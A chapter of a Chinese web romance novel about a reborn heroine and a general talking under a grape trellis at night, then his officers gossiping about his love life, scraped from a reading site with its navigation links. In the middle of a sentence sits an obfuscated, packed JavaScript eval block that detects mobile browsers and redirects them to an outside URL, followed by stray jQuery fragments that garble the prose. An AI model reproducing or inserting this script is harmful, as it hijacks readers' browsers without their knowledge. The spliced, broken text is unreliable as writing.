默认冷灰
24号文字
方正启体

42. 夜谈

作者:南枝昀本书字数:K更新时间:
    月光像匹裁碎的白绢,从葡萄架的缝隙间漏下来,散落在青石砖上,铺出斑驳的光纹。


    半夜三更郁祯突然惊醒。她梦魇了,她在梦中见到那两人挥着锄头埋尸。


    自那日逃了命回来,郁祯只梦魇了一次,便再也没梦到芳满园。郁祯以为就这样过去了,可今个竟.....。


    郁祯内心宽慰自己许是今日那两张画像太真实生动,深深地烙印在她心中,将她惊着了。


    郁祯起床喝了杯水准备继续躺下睡会,可辗转难眠,遂起身披了件大袖衫,提着灯笼在院中的葡萄架下透透气。这葡萄刚长出嫩叶新芽,月亮在这嫩叶新芽中隐隐绰绰,像挂着树梢上的枇杷,可惜只有一个。


    想起枇杷郁祯脱口而出:“还挺想吃枇杷。”


    “大半夜不睡觉就是惦记吃枇杷?”


    温和低沉的男声在郁祯后侧响起,她心漏跳了半刻,蓦然回头。待看清来人才缓了口气:“你大半夜的不睡觉就是为了吓我?”


    丛屹并非故意要吓她,他走路是有声的,只是这娇娘太沉迷于吃枇杷了。


    丛屹又往郁祯所站着的石桌走近几步:“若是想吃,明日我带你去摘些。京郊有些果园,可供游人自行采摘。”


    郁祯听到果园、果林、林子,吃枇杷的兴趣瞬间消失,她这辈子也不想靠近果林。


    她扭头打量起这人,一身直裰未佩刀剑,是居家的寻常衣物,眸光烁烁在黑暗中闪着。


    “三更半夜在别人家里晃荡,丛将军别是有什么夜游症?”


    丛屹尴尬地避开她嘲讽的眼神。


    丛屹的齐语堂院子和郁祯的西侧院只相隔一道墙。他今日回来的晚又在书房待了好一会,准备就寝时发现郁祯的院子还亮着灯,于是攀上房顶瞧,见她一人坐在葡萄架下的石凳上。


    他犹豫了好一会,克制不住地想见她和她说会话,又怕惊扰到她。最终还是翻墙了,翻墙的前一刻他还想着,当时两家宅子就应该开一道暗门,梁上君子终究有悖他凛然正气的形象。


    郁祯复又倚坐在石凳上。支手托腮,抬头望月,对翻墙而来的人视若无睹。


    丛屹瞧着她青丝披散,胡乱套了件外裳,光脚蹬绣鞋坐在月下,便猜她是已入睡才起身。遂在她身旁坐下,开口道:“你这是梦魇了?”


    郁祯转过头看着他,赶人的话没再说出口,这一刻她确实需要个人能和她说会话。


    可这人坐下了,她又不知从何说起,是说自己梦到那两个疑犯,还是说自打来京都便笼罩在一股阴郁的情绪下。


    她开口:“京都这地方是非多。我才来便出了这桩事,这京都就是克我,我想绵山县了,在那里起码性命无忧、自由自在。”


    丛屹听她提起绵山县:“你在京都也会性命无忧。在绵山县生活很有趣?”


    “自然,上完课就跟同窗们摸虾抓鱼,爬树抓鸟,还有打群架。夏天去河里凫水,秋天去林子逮兔子,冬天跑山头打雪仗。危险的事情干多了没少挨揍。”郁祯说的眉飞色舞,神采飞扬。


    在绵山县的日子,快活又惬意,还记得当时她学凫水,齐盛和郁悦两人一左一右架着她在水里泡了半个月才学会浮起来。还有次街头混子想要敲诈勒索齐盛,被郁祯、郁悦、肖武和李大川拉到偏巷一通教训,钱财哪有拳头好说话。


    丛屹听她描述,不由勾唇浅笑,他父亲在世时他也这般顽劣,整日与玩伴们走街串巷地溜鸡逗狗。


    如果父亲不被复任,她应该会在蜀地过完此生。一想到又回到京都这是非地,郁祯就愤懑不已。因着前世的缘故她实在是不想踏足此地,再遇着前世那些人和事。


    郁祯:“丛屹,这一世是你想要的吗?放弃那个位置做一位忠臣良将。”


    丛屹:“这世至亲至爱皆在。是我所愿,是我所求。况且我并不合适坐上那个位置。如今这样已很好。”说完眉眼间的柔情止不住地看着郁祯。


    他所求本就不是天下至高至尊之位,他也并非是位合格的帝王。能让他弥补前世那些失亲失友的遗憾,他已然满足,又遇到同是重生的挚爱,便更觉此世珍贵。


    郁祯并未看他:“倒令人意外。”


    丛屹反问道:“你呢,这一世有什么愿望吗?”


    她看着月亮似许愿那般:“若是裕丰能将产业开遍天下,父亲官运亨通,郁家家宅安宁就更好了。”


    丛屹嗤笑一声:“家财万贯、官运亨通、阖家幸福都被你许了。”他带着试探问了句:“那姻缘呢?”


    郁祯垂了眼眸,嘟囔道:“随缘吧,那玩意没用,还不如财源。”


    丛屹剑眉微蹙:“为何会这般想?可你总归是要嫁人的。届时你父母他们也会替你择......”


    郁祯摆手制止他往下说的话头:“那是您的想法,勿强加于我身上。我的事也不需要您操心。”


    丛屹沉默良久才开口道:“是因为之前的事让你有了心结?”


    郁祯一听他提起前世便警铃大作,连忙打断:“与谁都无关,我只想过得自在些。日后还可同友人作伴游山玩水,何其潇洒。”


    她起身敛了敛披身的云锦外衫道:“时候不早,我也困了。”言毕便往屋子走,迈了几步又冷声道:“飞墙走壁非君子行径,将军日后还是莫要如此了。”


    月影斜长,四周乌黑寂静,空余他一人在院中无声叹息。


    翌日,陆秋明巡视完皇城后,刚迈入殿前司时便看到丛屹那张阴云密布的脸。恰好长弓站在门外候着,便将人拉到一旁凑过去多嘴问了句:“谁招惹他了?还是今日上朝挨批了?脸怎地臭成这样。”


    长弓也是一脸懵:“从今早还没上朝就这样了,昨儿个还好好的。”


    “你这当心腹的就没发现点异常?”


    长弓摸着脑袋摇摇头,自家主子每日不是上朝就是上值,不是处理公务就是操练兵马,谁知道今日怎么就不对劲了。


    陆秋明是四品殿前司副指挥使,两人就在一个殿内办公,丛屹又是他上峰,若是上峰心情烦闷,做下属的自然要避讳些,免得殃及鱼池。


    前段时刚给两司整顿了风气,因他值勤饮酒还被罚了二十军棍,他可不想再受这遭。他思来想去还是再去巡一圈宫城,将那些犄角旮旯的地方也好好巡查


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619955|187831||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一番。


    陆秋明刚离开殿前司,长弓就被喊了进去,只说让他去城外摘筐新鲜的枇杷送到郁府。


    丛屹坐在黄花梨木案桌前将笔搁回笔架上,后背倚靠在太师椅上,左手撑在扶手上,轻揉两侧的太阳穴。看着那厚积如山的公务有些走神,应该说今日伊始便不受控地回想起昨晚之事。


    他暗自反思道,从那日在赛马场她与自己说要装作不识开始,他便打定主意要徐徐图之,不可操之过急反将人越推越远,昨晚怎地就沉不住气!


    他真是操之过急,昨晚郁祯消极的话语,听得他像是在酸水、苦水里泡过一般,酸涩心塞了一整晚。倘若她真的全然放下了又该如何?又或者,从前情意消散,过往怨恨犹在,又要如何化解才好?


    他这厢苦思冥想这应对之策,陆秋明那头却盯了他一整日,上峰一整天都郁郁寡欢、闷闷不乐,似乎不妙。好歹熬到下值,日头偏斜,陆秋明拔腿就跑。


    他可太了解丛屹,但凡这人心情烦闷便化作狂人,焚膏继晷地疯狂处理公务,就算无事也要耗在公署。他可不想陪东屋那工作狂值守到半夜三更,一下值就策马去了西郊京卫营找高斌。


    他们四人,丛屹励精图治,刘崇不喜交际,只有高斌与自己趣味相投,两人时常下值就去各处厮混。


    今日两人又去赵家娘子的卤肉铺点了一大碗卤牛肉,这牛肉先用香料卤透再切片,娇俏美艳的老板娘将其端上来时色香味俱全,又要了两盏紫苏饮子。陆秋明喝了口饮子,开口道:“你有没有觉得佬大最近有些阴晴不定。”


    高斌口中牛肉刚下腹,嗤笑一声:“八成跟姑娘有关系。”


    陆秋明来了兴致:“敢情你知道!怎么不早说。”


    高斌:“我也是刚知道没多久。那姑娘就住在将军府旁边那宅子。”


    “当初听长弓说去挑宅院,还以为他是要买给丛家的亲戚呢。竟是给心上人,没想到咱佬大还是个痴情种,嘿嘿。”他幸灾乐祸地笑了几声。


    陆秋明极其不解:“可这不对劲呀。按理说人都住旁边了,他怎么还一副臭脸呢。”


    高斌对男女之事向来颇有见地,往往一针见血:“襄王有意,神女无情。”


    陆秋明恍然大悟,连连点头示以赞同,又往嘴里塞了口牛肉细细咀嚼。


    他将肉咽了下去,复又说道:“这样下去也不是个办法。他人待在公署里头,下值了也不走,我们就得陪着,若是军务上挑出错来,半夜三更都能喊你起来改。长久以往你受得了?”


    高斌:“那要如何?”


    陆秋明:“解铃还得系铃人,你得想想办法,撮合他俩。”


    高斌两手一摊:“我能有什么办法,我连人家姑娘叫什么都不知道。反正殿前司和京卫营他各待一半时间,你我就受着呗。”参合上峰的感情生活那就是手伸的太长了,若是成了倒还好,若是不成上峰岂不是见到他就来气。


    陆秋明:“别说这丧气话。我们这几个就你经验丰富,你得支棱起来,这感情里头的军师也是军师。”


    高斌瞪圆眼睛,怒道:“老虎的屁股谁爱摸谁摸去。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)